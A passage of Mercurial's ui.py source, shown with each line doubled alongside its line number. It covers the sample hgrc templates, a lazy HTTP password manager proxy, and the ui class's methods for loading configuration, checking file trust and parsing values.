78 # uncomment these lines to enable some popular extensions
79 # (see 'hg help extensions' for more info)
79 # (see 'hg help extensions' for more info)
80 #
80 #
81 # churn =
81 # churn =
82 """,
82 """,
83
83
84 'cloned':
84 'cloned':
85 b"""# example repository config (see 'hg help config' for more info)
85 b"""# example repository config (see 'hg help config' for more info)
86 [paths]
86 [paths]
87 default = %s
87 default = %s
88
88
89 # path aliases to other clones of this repo in URLs or filesystem paths
89 # path aliases to other clones of this repo in URLs or filesystem paths
90 # (see 'hg help config.paths' for more info)
90 # (see 'hg help config.paths' for more info)
91 #
91 #
92 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
92 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
93 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
93 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
94 # my-clone = /home/jdoe/jdoes-clone
94 # my-clone = /home/jdoe/jdoes-clone
95
95
96 [ui]
96 [ui]
97 # name and email (local to this repository, optional), e.g.
97 # name and email (local to this repository, optional), e.g.
98 # username = Jane Doe <jdoe@example.com>
98 # username = Jane Doe <jdoe@example.com>
99 """,
99 """,
100
100
101 'local':
101 'local':
102 b"""# example repository config (see 'hg help config' for more info)
102 b"""# example repository config (see 'hg help config' for more info)
103 [paths]
103 [paths]
104 # path aliases to other clones of this repo in URLs or filesystem paths
104 # path aliases to other clones of this repo in URLs or filesystem paths
105 # (see 'hg help config.paths' for more info)
105 # (see 'hg help config.paths' for more info)
106 #
106 #
107 # default = http://example.com/hg/example-repo
107 # default = http://example.com/hg/example-repo
108 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
108 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
109 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
109 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
110 # my-clone = /home/jdoe/jdoes-clone
110 # my-clone = /home/jdoe/jdoes-clone
111
111
112 [ui]
112 [ui]
113 # name and email (local to this repository, optional), e.g.
113 # name and email (local to this repository, optional), e.g.
114 # username = Jane Doe <jdoe@example.com>
114 # username = Jane Doe <jdoe@example.com>
115 """,
115 """,
116
116
117 'global':
117 'global':
118 b"""# example system-wide hg config (see 'hg help config' for more info)
118 b"""# example system-wide hg config (see 'hg help config' for more info)
119
119
120 [ui]
120 [ui]
121 # uncomment to disable color in command output
121 # uncomment to disable color in command output
122 # (see 'hg help color' for details)
122 # (see 'hg help color' for details)
123 # color = never
123 # color = never
124
124
125 # uncomment to disable command output pagination
125 # uncomment to disable command output pagination
126 # (see 'hg help pager' for details)
126 # (see 'hg help pager' for details)
127 # paginate = never
127 # paginate = never
128
128
129 [extensions]
129 [extensions]
130 # uncomment these lines to enable some popular extensions
130 # uncomment these lines to enable some popular extensions
131 # (see 'hg help extensions' for more info)
131 # (see 'hg help extensions' for more info)
132 #
132 #
133 # blackbox =
133 # blackbox =
134 # churn =
134 # churn =
135 """,
135 """,
136 }
136 }
137
137
138
138
139 class httppasswordmgrdbproxy(object):
139 class httppasswordmgrdbproxy(object):
140 """Delays loading urllib2 until it's needed."""
140 """Delays loading urllib2 until it's needed."""
141 def __init__(self):
141 def __init__(self):
142 self._mgr = None
142 self._mgr = None
143
143
144 def _get_mgr(self):
144 def _get_mgr(self):
145 if self._mgr is None:
145 if self._mgr is None:
146 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
146 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
147 return self._mgr
147 return self._mgr
148
148
149 def add_password(self, *args, **kwargs):
149 def add_password(self, *args, **kwargs):
150 return self._get_mgr().add_password(*args, **kwargs)
150 return self._get_mgr().add_password(*args, **kwargs)
151
151
152 def find_user_password(self, *args, **kwargs):
152 def find_user_password(self, *args, **kwargs):
153 return self._get_mgr().find_user_password(*args, **kwargs)
153 return self._get_mgr().find_user_password(*args, **kwargs)
154
154
155 def _catchterm(*args):
155 def _catchterm(*args):
156 raise error.SignalInterrupt
156 raise error.SignalInterrupt
157
157
158 # unique object used to detect no default value has been provided when
158 # unique object used to detect no default value has been provided when
159 # retrieving configuration value.
159 # retrieving configuration value.
160 _unset = object()
160 _unset = object()
161
161
162 class ui(object):
162 class ui(object):
163 def __init__(self, src=None):
163 def __init__(self, src=None):
164 """Create a fresh new ui object if no src given
164 """Create a fresh new ui object if no src given
165
165
166 Use uimod.ui.load() to create a ui which knows global and user configs.
166 Use uimod.ui.load() to create a ui which knows global and user configs.
167 In most cases, you should use ui.copy() to create a copy of an existing
167 In most cases, you should use ui.copy() to create a copy of an existing
168 ui object.
168 ui object.
169 """
169 """
170 # _buffers: used for temporary capture of output
170 # _buffers: used for temporary capture of output
171 self._buffers = []
171 self._buffers = []
172 # _exithandlers: callbacks run at the end of a request
172 # _exithandlers: callbacks run at the end of a request
173 self._exithandlers = []
173 self._exithandlers = []
174 # 3-tuple describing how each buffer in the stack behaves.
174 # 3-tuple describing how each buffer in the stack behaves.
175 # Values are (capture stderr, capture subprocesses, apply labels).
175 # Values are (capture stderr, capture subprocesses, apply labels).
176 self._bufferstates = []
176 self._bufferstates = []
177 # When a buffer is active, defines whether we are expanding labels.
177 # When a buffer is active, defines whether we are expanding labels.
178 # This exists to prevent an extra list lookup.
178 # This exists to prevent an extra list lookup.
179 self._bufferapplylabels = None
179 self._bufferapplylabels = None
180 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
180 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
181 self._reportuntrusted = True
181 self._reportuntrusted = True
182 self._knownconfig = configitems.coreitems
182 self._knownconfig = configitems.coreitems
183 self._ocfg = config.config() # overlay
183 self._ocfg = config.config() # overlay
184 self._tcfg = config.config() # trusted
184 self._tcfg = config.config() # trusted
185 self._ucfg = config.config() # untrusted
185 self._ucfg = config.config() # untrusted
186 self._trustusers = set()
186 self._trustusers = set()
187 self._trustgroups = set()
187 self._trustgroups = set()
188 self.callhooks = True
188 self.callhooks = True
189 # Insecure server connections requested.
189 # Insecure server connections requested.
190 self.insecureconnections = False
190 self.insecureconnections = False
191 # Blocked time
191 # Blocked time
192 self.logblockedtimes = False
192 self.logblockedtimes = False
193 # color mode: see mercurial/color.py for possible value
193 # color mode: see mercurial/color.py for possible value
194 self._colormode = None
194 self._colormode = None
195 self._terminfoparams = {}
195 self._terminfoparams = {}
196 self._styles = {}
196 self._styles = {}
197
197
198 if src:
198 if src:
199 self._exithandlers = src._exithandlers
199 self._exithandlers = src._exithandlers
200 self.fout = src.fout
200 self.fout = src.fout
201 self.ferr = src.ferr
201 self.ferr = src.ferr
202 self.fin = src.fin
202 self.fin = src.fin
203 self.pageractive = src.pageractive
203 self.pageractive = src.pageractive
204 self._disablepager = src._disablepager
204 self._disablepager = src._disablepager
205 self._tweaked = src._tweaked
205 self._tweaked = src._tweaked
206
206
207 self._tcfg = src._tcfg.copy()
207 self._tcfg = src._tcfg.copy()
208 self._ucfg = src._ucfg.copy()
208 self._ucfg = src._ucfg.copy()
209 self._ocfg = src._ocfg.copy()
209 self._ocfg = src._ocfg.copy()
210 self._trustusers = src._trustusers.copy()
210 self._trustusers = src._trustusers.copy()
211 self._trustgroups = src._trustgroups.copy()
211 self._trustgroups = src._trustgroups.copy()
212 self.environ = src.environ
212 self.environ = src.environ
213 self.callhooks = src.callhooks
213 self.callhooks = src.callhooks
214 self.insecureconnections = src.insecureconnections
214 self.insecureconnections = src.insecureconnections
215 self._colormode = src._colormode
215 self._colormode = src._colormode
216 self._terminfoparams = src._terminfoparams.copy()
216 self._terminfoparams = src._terminfoparams.copy()
217 self._styles = src._styles.copy()
217 self._styles = src._styles.copy()
218
218
219 self.fixconfig()
219 self.fixconfig()
220
220
221 self.httppasswordmgrdb = src.httppasswordmgrdb
221 self.httppasswordmgrdb = src.httppasswordmgrdb
222 self._blockedtimes = src._blockedtimes
222 self._blockedtimes = src._blockedtimes
223 else:
223 else:
224 self.fout = util.stdout
224 self.fout = util.stdout
225 self.ferr = util.stderr
225 self.ferr = util.stderr
226 self.fin = util.stdin
226 self.fin = util.stdin
227 self.pageractive = False
227 self.pageractive = False
228 self._disablepager = False
228 self._disablepager = False
229 self._tweaked = False
229 self._tweaked = False
230
230
231 # shared read-only environment
231 # shared read-only environment
232 self.environ = encoding.environ
232 self.environ = encoding.environ
233
233
234 self.httppasswordmgrdb = httppasswordmgrdbproxy()
234 self.httppasswordmgrdb = httppasswordmgrdbproxy()
235 self._blockedtimes = collections.defaultdict(int)
235 self._blockedtimes = collections.defaultdict(int)
236
236
237 allowed = self.configlist('experimental', 'exportableenviron')
237 allowed = self.configlist('experimental', 'exportableenviron')
238 if '*' in allowed:
238 if '*' in allowed:
239 self._exportableenviron = self.environ
239 self._exportableenviron = self.environ
240 else:
240 else:
241 self._exportableenviron = {}
241 self._exportableenviron = {}
242 for k in allowed:
242 for k in allowed:
243 if k in self.environ:
243 if k in self.environ:
244 self._exportableenviron[k] = self.environ[k]
244 self._exportableenviron[k] = self.environ[k]
245
245
246 @classmethod
246 @classmethod
247 def load(cls):
247 def load(cls):
248 """Create a ui and load global and user configs"""
248 """Create a ui and load global and user configs"""
249 u = cls()
249 u = cls()
250 # we always trust global config files and environment variables
250 # we always trust global config files and environment variables
251 for t, f in rcutil.rccomponents():
251 for t, f in rcutil.rccomponents():
252 if t == 'path':
252 if t == 'path':
253 u.readconfig(f, trust=True)
253 u.readconfig(f, trust=True)
254 elif t == 'items':
254 elif t == 'items':
255 sections = set()
255 sections = set()
256 for section, name, value, source in f:
256 for section, name, value, source in f:
257 # do not set u._ocfg
257 # do not set u._ocfg
258 # XXX clean this up once immutable config object is a thing
258 # XXX clean this up once immutable config object is a thing
259 u._tcfg.set(section, name, value, source)
259 u._tcfg.set(section, name, value, source)
260 u._ucfg.set(section, name, value, source)
260 u._ucfg.set(section, name, value, source)
261 sections.add(section)
261 sections.add(section)
262 for section in sections:
262 for section in sections:
263 u.fixconfig(section=section)
263 u.fixconfig(section=section)
264 else:
264 else:
265 raise error.ProgrammingError('unknown rctype: %s' % t)
265 raise error.ProgrammingError('unknown rctype: %s' % t)
266 u._maybetweakdefaults()
266 u._maybetweakdefaults()
267 return u
267 return u
268
268
269 def _maybetweakdefaults(self):
269 def _maybetweakdefaults(self):
270 if not self.configbool('ui', 'tweakdefaults'):
270 if not self.configbool('ui', 'tweakdefaults'):
271 return
271 return
272 if self._tweaked or self.plain('tweakdefaults'):
272 if self._tweaked or self.plain('tweakdefaults'):
273 return
273 return
274
274
275 # Note: it is SUPER IMPORTANT that you set self._tweaked to
275 # Note: it is SUPER IMPORTANT that you set self._tweaked to
276 # True *before* any calls to setconfig(), otherwise you'll get
276 # True *before* any calls to setconfig(), otherwise you'll get
277 # infinite recursion between setconfig and this method.
277 # infinite recursion between setconfig and this method.
278 #
278 #
279 # TODO: We should extract an inner method in setconfig() to
279 # TODO: We should extract an inner method in setconfig() to
280 # avoid this weirdness.
280 # avoid this weirdness.
281 self._tweaked = True
281 self._tweaked = True
282 tmpcfg = config.config()
282 tmpcfg = config.config()
283 tmpcfg.parse('<tweakdefaults>', tweakrc)
283 tmpcfg.parse('<tweakdefaults>', tweakrc)
284 for section in tmpcfg:
284 for section in tmpcfg:
285 for name, value in tmpcfg.items(section):
285 for name, value in tmpcfg.items(section):
286 if not self.hasconfig(section, name):
286 if not self.hasconfig(section, name):
287 self.setconfig(section, name, value, "<tweakdefaults>")
287 self.setconfig(section, name, value, "<tweakdefaults>")
288
288
289 def copy(self):
289 def copy(self):
290 return self.__class__(self)
290 return self.__class__(self)
291
291
292 def resetstate(self):
292 def resetstate(self):
293 """Clear internal state that shouldn't persist across commands"""
293 """Clear internal state that shouldn't persist across commands"""
294 if self._progbar:
294 if self._progbar:
295 self._progbar.resetstate() # reset last-print time of progress bar
295 self._progbar.resetstate() # reset last-print time of progress bar
296 self.httppasswordmgrdb = httppasswordmgrdbproxy()
296 self.httppasswordmgrdb = httppasswordmgrdbproxy()
297
297
298 @contextlib.contextmanager
298 @contextlib.contextmanager
299 def timeblockedsection(self, key):
299 def timeblockedsection(self, key):
300 # this is open-coded below - search for timeblockedsection to find them
300 # this is open-coded below - search for timeblockedsection to find them
301 starttime = util.timer()
301 starttime = util.timer()
302 try:
302 try:
303 yield
303 yield
304 finally:
304 finally:
305 self._blockedtimes[key + '_blocked'] += \
305 self._blockedtimes[key + '_blocked'] += \
306 (util.timer() - starttime) * 1000
306 (util.timer() - starttime) * 1000
307
307
308 def formatter(self, topic, opts):
308 def formatter(self, topic, opts):
309 return formatter.formatter(self, self, topic, opts)
309 return formatter.formatter(self, self, topic, opts)
310
310
311 def _trusted(self, fp, f):
311 def _trusted(self, fp, f):
312 st = util.fstat(fp)
312 st = util.fstat(fp)
313 if util.isowner(st):
313 if util.isowner(st):
314 return True
314 return True
315
315
316 tusers, tgroups = self._trustusers, self._trustgroups
316 tusers, tgroups = self._trustusers, self._trustgroups
317 if '*' in tusers or '*' in tgroups:
317 if '*' in tusers or '*' in tgroups:
318 return True
318 return True
319
319
320 user = util.username(st.st_uid)
320 user = util.username(st.st_uid)
321 group = util.groupname(st.st_gid)
321 group = util.groupname(st.st_gid)
322 if user in tusers or group in tgroups or user == util.username():
322 if user in tusers or group in tgroups or user == util.username():
323 return True
323 return True
324
324
325 if self._reportuntrusted:
325 if self._reportuntrusted:
326 self.warn(_('not trusting file %s from untrusted '
326 self.warn(_('not trusting file %s from untrusted '
327 'user %s, group %s\n') % (f, user, group))
327 'user %s, group %s\n') % (f, user, group))
328 return False
328 return False
329
329
330 def readconfig(self, filename, root=None, trust=False,
330 def readconfig(self, filename, root=None, trust=False,
331 sections=None, remap=None):
331 sections=None, remap=None):
332 try:
332 try:
333 fp = open(filename, u'rb')
333 fp = open(filename, u'rb')
334 except IOError:
334 except IOError:
335 if not sections: # ignore unless we were looking for something
335 if not sections: # ignore unless we were looking for something
336 return
336 return
337 raise
337 raise
338
338
339 cfg = config.config()
339 cfg = config.config()
340 trusted = sections or trust or self._trusted(fp, filename)
340 trusted = sections or trust or self._trusted(fp, filename)
341
341
342 try:
342 try:
343 cfg.read(filename, fp, sections=sections, remap=remap)
343 cfg.read(filename, fp, sections=sections, remap=remap)
344 fp.close()
344 fp.close()
345 except error.ConfigError as inst:
345 except error.ConfigError as inst:
346 if trusted:
346 if trusted:
347 raise
347 raise
348 self.warn(_("ignored: %s\n") % str(inst))
348 self.warn(_("ignored: %s\n") % str(inst))
349
349
350 if self.plain():
350 if self.plain():
351 for k in ('debug', 'fallbackencoding', 'quiet', 'slash',
351 for k in ('debug', 'fallbackencoding', 'quiet', 'slash',
352 'logtemplate', 'statuscopies', 'style',
352 'logtemplate', 'statuscopies', 'style',
353 'traceback', 'verbose'):
353 'traceback', 'verbose'):
354 if k in cfg['ui']:
354 if k in cfg['ui']:
355 del cfg['ui'][k]
355 del cfg['ui'][k]
356 for k, v in cfg.items('defaults'):
356 for k, v in cfg.items('defaults'):
357 del cfg['defaults'][k]
357 del cfg['defaults'][k]
358 for k, v in cfg.items('commands'):
358 for k, v in cfg.items('commands'):
359 del cfg['commands'][k]
359 del cfg['commands'][k]
360 # Don't remove aliases from the configuration if in the exceptionlist
360 # Don't remove aliases from the configuration if in the exceptionlist
361 if self.plain('alias'):
361 if self.plain('alias'):
362 for k, v in cfg.items('alias'):
362 for k, v in cfg.items('alias'):
363 del cfg['alias'][k]
363 del cfg['alias'][k]
364 if self.plain('revsetalias'):
364 if self.plain('revsetalias'):
365 for k, v in cfg.items('revsetalias'):
365 for k, v in cfg.items('revsetalias'):
366 del cfg['revsetalias'][k]
366 del cfg['revsetalias'][k]
367 if self.plain('templatealias'):
367 if self.plain('templatealias'):
368 for k, v in cfg.items('templatealias'):
368 for k, v in cfg.items('templatealias'):
369 del cfg['templatealias'][k]
369 del cfg['templatealias'][k]
370
370
371 if trusted:
371 if trusted:
372 self._tcfg.update(cfg)
372 self._tcfg.update(cfg)
373 self._tcfg.update(self._ocfg)
373 self._tcfg.update(self._ocfg)
374 self._ucfg.update(cfg)
374 self._ucfg.update(cfg)
375 self._ucfg.update(self._ocfg)
375 self._ucfg.update(self._ocfg)
376
376
377 if root is None:
377 if root is None:
378 root = os.path.expanduser('~')
378 root = os.path.expanduser('~')
379 self.fixconfig(root=root)
379 self.fixconfig(root=root)
380
380
381 def fixconfig(self, root=None, section=None):
381 def fixconfig(self, root=None, section=None):
382 if section in (None, 'paths'):
382 if section in (None, 'paths'):
383 # expand vars and ~
383 # expand vars and ~
384 # translate paths relative to root (or home) into absolute paths
384 # translate paths relative to root (or home) into absolute paths
385 root = root or pycompat.getcwd()
385 root = root or pycompat.getcwd()
386 for c in self._tcfg, self._ucfg, self._ocfg:
386 for c in self._tcfg, self._ucfg, self._ocfg:
387 for n, p in c.items('paths'):
387 for n, p in c.items('paths'):
388 # Ignore sub-options.
388 # Ignore sub-options.
389 if ':' in n:
389 if ':' in n:
390 continue
390 continue
391 if not p:
391 if not p:
392 continue
392 continue
393 if '%%' in p:
393 if '%%' in p:
394 s = self.configsource('paths', n) or 'none'
394 s = self.configsource('paths', n) or 'none'
395 self.warn(_("(deprecated '%%' in path %s=%s from %s)\n")
395 self.warn(_("(deprecated '%%' in path %s=%s from %s)\n")
396 % (n, p, s))
396 % (n, p, s))
397 p = p.replace('%%', '%')
397 p = p.replace('%%', '%')
398 p = util.expandpath(p)
398 p = util.expandpath(p)
399 if not util.hasscheme(p) and not os.path.isabs(p):
399 if not util.hasscheme(p) and not os.path.isabs(p):
400 p = os.path.normpath(os.path.join(root, p))
400 p = os.path.normpath(os.path.join(root, p))
401 c.set("paths", n, p)
401 c.set("paths", n, p)
402
402
403 if section in (None, 'ui'):
403 if section in (None, 'ui'):
404 # update ui options
404 # update ui options
405 self.debugflag = self.configbool('ui', 'debug')
405 self.debugflag = self.configbool('ui', 'debug')
406 self.verbose = self.debugflag or self.configbool('ui', 'verbose')
406 self.verbose = self.debugflag or self.configbool('ui', 'verbose')
407 self.quiet = not self.debugflag and self.configbool('ui', 'quiet')
407 self.quiet = not self.debugflag and self.configbool('ui', 'quiet')
408 if self.verbose and self.quiet:
408 if self.verbose and self.quiet:
409 self.quiet = self.verbose = False
409 self.quiet = self.verbose = False
410 self._reportuntrusted = self.debugflag or self.configbool("ui",
410 self._reportuntrusted = self.debugflag or self.configbool("ui",
411 "report_untrusted")
411 "report_untrusted")
412 self.tracebackflag = self.configbool('ui', 'traceback')
412 self.tracebackflag = self.configbool('ui', 'traceback')
413 self.logblockedtimes = self.configbool('ui', 'logblockedtimes')
413 self.logblockedtimes = self.configbool('ui', 'logblockedtimes')
414
414
415 if section in (None, 'trusted'):
415 if section in (None, 'trusted'):
416 # update trust information
416 # update trust information
417 self._trustusers.update(self.configlist('trusted', 'users'))
417 self._trustusers.update(self.configlist('trusted', 'users'))
418 self._trustgroups.update(self.configlist('trusted', 'groups'))
418 self._trustgroups.update(self.configlist('trusted', 'groups'))
419
419
420 def backupconfig(self, section, item):
420 def backupconfig(self, section, item):
421 return (self._ocfg.backup(section, item),
421 return (self._ocfg.backup(section, item),
422 self._tcfg.backup(section, item),
422 self._tcfg.backup(section, item),
423 self._ucfg.backup(section, item),)
423 self._ucfg.backup(section, item),)
424 def restoreconfig(self, data):
424 def restoreconfig(self, data):
425 self._ocfg.restore(data[0])
425 self._ocfg.restore(data[0])
426 self._tcfg.restore(data[1])
426 self._tcfg.restore(data[1])
427 self._ucfg.restore(data[2])
427 self._ucfg.restore(data[2])
428
428
429 def setconfig(self, section, name, value, source=''):
429 def setconfig(self, section, name, value, source=''):
430 for cfg in (self._ocfg, self._tcfg, self._ucfg):
430 for cfg in (self._ocfg, self._tcfg, self._ucfg):
431 cfg.set(section, name, value, source)
431 cfg.set(section, name, value, source)
432 self.fixconfig(section=section)
432 self.fixconfig(section=section)
433 self._maybetweakdefaults()
433 self._maybetweakdefaults()
434
434
435 def _data(self, untrusted):
435 def _data(self, untrusted):
436 return untrusted and self._ucfg or self._tcfg
436 return untrusted and self._ucfg or self._tcfg
437
437
438 def configsource(self, section, name, untrusted=False):
438 def configsource(self, section, name, untrusted=False):
439 return self._data(untrusted).source(section, name)
439 return self._data(untrusted).source(section, name)
440
440
441 def config(self, section, name, default=_unset, untrusted=False):
441 def config(self, section, name, default=_unset, untrusted=False):
442 """return the plain string version of a config"""
442 """return the plain string version of a config"""
443 value = self._config(section, name, default=default,
443 value = self._config(section, name, default=default,
444 untrusted=untrusted)
444 untrusted=untrusted)
445 if value is _unset:
445 if value is _unset:
446 return None
446 return None
447 return value
447 return value
448
448
449 def _config(self, section, name, default=_unset, untrusted=False):
449 def _config(self, section, name, default=_unset, untrusted=False):
450 value = default
450 value = default
451 item = self._knownconfig.get(section, {}).get(name)
451 item = self._knownconfig.get(section, {}).get(name)
452 alternates = [(section, name)]
452 alternates = [(section, name)]
453
453
454 if item is not None:
454 if item is not None:
455 alternates.extend(item.alias)
455 alternates.extend(item.alias)
456
456
457 if default is _unset:
457 if default is _unset:
458 if item is None:
458 if item is None:
459 value = default
459 value = default
460 elif item.default is configitems.dynamicdefault:
460 elif item.default is configitems.dynamicdefault:
461 value = None
461 value = None
462 msg = "config item requires an explicit default value: '%s.%s'"
462 msg = "config item requires an explicit default value: '%s.%s'"
463 msg %= (section, name)
463 msg %= (section, name)
464 self.develwarn(msg, 2, 'warn-config-default')
464 self.develwarn(msg, 2, 'warn-config-default')
465 elif callable(item.default):
465 elif callable(item.default):
466 value = item.default()
466 value = item.default()
467 else:
467 else:
468 value = item.default
468 value = item.default
469 elif (item is not None
469 elif (item is not None
470 and item.default is not configitems.dynamicdefault):
470 and item.default is not configitems.dynamicdefault):
471 msg = ("specifying a default value for a registered "
471 msg = ("specifying a default value for a registered "
472 "config item: '%s.%s' '%s'")
472 "config item: '%s.%s' '%s'")
473 msg %= (section, name, default)
473 msg %= (section, name, default)
474 self.develwarn(msg, 2, 'warn-config-default')
474 self.develwarn(msg, 2, 'warn-config-default')
475
475
476 for s, n in alternates:
476 for s, n in alternates:
477 candidate = self._data(untrusted).get(s, n, None)
477 candidate = self._data(untrusted).get(s, n, None)
478 if candidate is not None:
478 if candidate is not None:
479 value = candidate
479 value = candidate
480 section = s
480 section = s
481 name = n
481 name = n
482 break
482 break
483
483
484 if self.debugflag and not untrusted and self._reportuntrusted:
484 if self.debugflag and not untrusted and self._reportuntrusted:
485 for s, n in alternates:
485 for s, n in alternates:
486 uvalue = self._ucfg.get(s, n)
486 uvalue = self._ucfg.get(s, n)
487 if uvalue is not None and uvalue != value:
487 if uvalue is not None and uvalue != value:
488 self.debug("ignoring untrusted configuration option "
488 self.debug("ignoring untrusted configuration option "
489 "%s.%s = %s\n" % (s, n, uvalue))
489 "%s.%s = %s\n" % (s, n, uvalue))
490 return value
490 return value
491
491
492 def configsuboptions(self, section, name, default=_unset, untrusted=False):
492 def configsuboptions(self, section, name, default=_unset, untrusted=False):
493 """Get a config option and all sub-options.
493 """Get a config option and all sub-options.
494
494
495 Some config options have sub-options that are declared with the
495 Some config options have sub-options that are declared with the
496 format "key:opt = value". This method is used to return the main
496 format "key:opt = value". This method is used to return the main
497 option and all its declared sub-options.
497 option and all its declared sub-options.
498
498
499 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
499 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
500 is a dict of defined sub-options where keys and values are strings.
500 is a dict of defined sub-options where keys and values are strings.
501 """
501 """
502 main = self.config(section, name, default, untrusted=untrusted)
502 main = self.config(section, name, default, untrusted=untrusted)
503 data = self._data(untrusted)
503 data = self._data(untrusted)
504 sub = {}
504 sub = {}
505 prefix = '%s:' % name
505 prefix = '%s:' % name
506 for k, v in data.items(section):
506 for k, v in data.items(section):
507 if k.startswith(prefix):
507 if k.startswith(prefix):
508 sub[k[len(prefix):]] = v
508 sub[k[len(prefix):]] = v
509
509
510 if self.debugflag and not untrusted and self._reportuntrusted:
510 if self.debugflag and not untrusted and self._reportuntrusted:
511 for k, v in sub.items():
511 for k, v in sub.items():
512 uvalue = self._ucfg.get(section, '%s:%s' % (name, k))
512 uvalue = self._ucfg.get(section, '%s:%s' % (name, k))
513 if uvalue is not None and uvalue != v:
513 if uvalue is not None and uvalue != v:
514 self.debug('ignoring untrusted configuration option '
514 self.debug('ignoring untrusted configuration option '
515 '%s:%s.%s = %s\n' % (section, name, k, uvalue))
515 '%s:%s.%s = %s\n' % (section, name, k, uvalue))
516
516
517 return main, sub
517 return main, sub
518
518
519 def configpath(self, section, name, default=_unset, untrusted=False):
519 def configpath(self, section, name, default=_unset, untrusted=False):
520 'get a path config item, expanded relative to repo root or config file'
520 'get a path config item, expanded relative to repo root or config file'
521 v = self.config(section, name, default, untrusted)
521 v = self.config(section, name, default, untrusted)
522 if v is None:
522 if v is None:
523 return None
523 return None
524 if not os.path.isabs(v) or "://" not in v:
524 if not os.path.isabs(v) or "://" not in v:
525 src = self.configsource(section, name, untrusted)
525 src = self.configsource(section, name, untrusted)
526 if ':' in src:
526 if ':' in src:
527 base = os.path.dirname(src.rsplit(':')[0])
527 base = os.path.dirname(src.rsplit(':')[0])
528 v = os.path.join(base, os.path.expanduser(v))
528 v = os.path.join(base, os.path.expanduser(v))
529 return v
529 return v
530
530
531 def configbool(self, section, name, default=_unset, untrusted=False):
531 def configbool(self, section, name, default=_unset, untrusted=False):
532 """parse a configuration element as a boolean
532 """parse a configuration element as a boolean
533
533
534 >>> u = ui(); s = 'foo'
534 >>> u = ui(); s = 'foo'
535 >>> u.setconfig(s, 'true', 'yes')
535 >>> u.setconfig(s, 'true', 'yes')
536 >>> u.configbool(s, 'true')
536 >>> u.configbool(s, 'true')
537 True
537 True
538 >>> u.setconfig(s, 'false', 'no')
538 >>> u.setconfig(s, 'false', 'no')
539 >>> u.configbool(s, 'false')
539 >>> u.configbool(s, 'false')
540 False
540 False
541 >>> u.configbool(s, 'unknown')
541 >>> u.configbool(s, 'unknown')
542 False
542 False
543 >>> u.configbool(s, 'unknown', True)
543 >>> u.configbool(s, 'unknown', True)
544 True
544 True
545 >>> u.setconfig(s, 'invalid', 'somevalue')
545 >>> u.setconfig(s, 'invalid', 'somevalue')
546 >>> u.configbool(s, 'invalid')
546 >>> u.configbool(s, 'invalid')
547 Traceback (most recent call last):
547 Traceback (most recent call last):
548 ...
548 ...
549 ConfigError: foo.invalid is not a boolean ('somevalue')
549 ConfigError: foo.invalid is not a boolean ('somevalue')
550 """
550 """
551
551
552 v = self._config(section, name, default, untrusted=untrusted)
552 v = self._config(section, name, default, untrusted=untrusted)
553 if v is None:
553 if v is None:
554 return v
554 return v
555 if v is _unset:
555 if v is _unset:
556 if default is _unset:
556 if default is _unset:
557 return False
557 return False
558 return default
558 return default
559 if isinstance(v, bool):
559 if isinstance(v, bool):
560 return v
560 return v
561 b = util.parsebool(v)
561 b = util.parsebool(v)
562 if b is None:
562 if b is None:
563 raise error.ConfigError(_("%s.%s is not a boolean ('%s')")
563 raise error.ConfigError(_("%s.%s is not a boolean ('%s')")
564 % (section, name, v))
564 % (section, name, v))
565 return b
565 return b
566
566
567 def configwith(self, convert, section, name, default=_unset,
567 def configwith(self, convert, section, name, default=_unset,
568 desc=None, untrusted=False):
568 desc=None, untrusted=False):
569 """parse a configuration element with a conversion function
569 """parse a configuration element with a conversion function
570
570
571 >>> u = ui(); s = 'foo'
571 >>> u = ui(); s = 'foo'
572 >>> u.setconfig(s, 'float1', '42')
572 >>> u.setconfig(s, 'float1', '42')
573 >>> u.configwith(float, s, 'float1')
573 >>> u.configwith(float, s, 'float1')
574 42.0
574 42.0
575 >>> u.setconfig(s, 'float2', '-4.25')
575 >>> u.setconfig(s, 'float2', '-4.25')
576 >>> u.configwith(float, s, 'float2')
576 >>> u.configwith(float, s, 'float2')
577 -4.25
577 -4.25
578 >>> u.configwith(float, s, 'unknown', 7)
578 >>> u.configwith(float, s, 'unknown', 7)
579 7.0
579 7.0
580 >>> u.setconfig(s, 'invalid', 'somevalue')
580 >>> u.setconfig(s, 'invalid', 'somevalue')
581 >>> u.configwith(float, s, 'invalid')
581 >>> u.configwith(float, s, 'invalid')
582 Traceback (most recent call last):
582 Traceback (most recent call last):
583 ...
583 ...
584 ConfigError: foo.invalid is not a valid float ('somevalue')
584 ConfigError: foo.invalid is not a valid float ('somevalue')
585 >>> u.configwith(float, s, 'invalid', desc='womble')
585 >>> u.configwith(float, s, 'invalid', desc='womble')
586 Traceback (most recent call last):
586 Traceback (most recent call last):
587 ...
587 ...
588 ConfigError: foo.invalid is not a valid womble ('somevalue')
588 ConfigError: foo.invalid is not a valid womble ('somevalue')
589 """
589 """
590
590
591 v = self.config(section, name, default, untrusted)
591 v = self.config(section, name, default, untrusted)
592 if v is None:
592 if v is None:
593 return v # do not attempt to convert None
593 return v # do not attempt to convert None
594 try:
594 try:
595 return convert(v)
595 return convert(v)
596 except (ValueError, error.ParseError):
596 except (ValueError, error.ParseError):
597 if desc is None:
597 if desc is None:
598 desc = convert.__name__
598 desc = convert.__name__
599 raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
599 raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
600 % (section, name, desc, v))
600 % (section, name, desc, v))
601
601
602 def configint(self, section, name, default=_unset, untrusted=False):
602 def configint(self, section, name, default=_unset, untrusted=False):
603 """parse a configuration element as an integer
603 """parse a configuration element as an integer
604
604
605 >>> u = ui(); s = 'foo'
605 >>> u = ui(); s = 'foo'
606 >>> u.setconfig(s, 'int1', '42')
606 >>> u.setconfig(s, 'int1', '42')
607 >>> u.configint(s, 'int1')
607 >>> u.configint(s, 'int1')
608 42
608 42
609 >>> u.setconfig(s, 'int2', '-42')
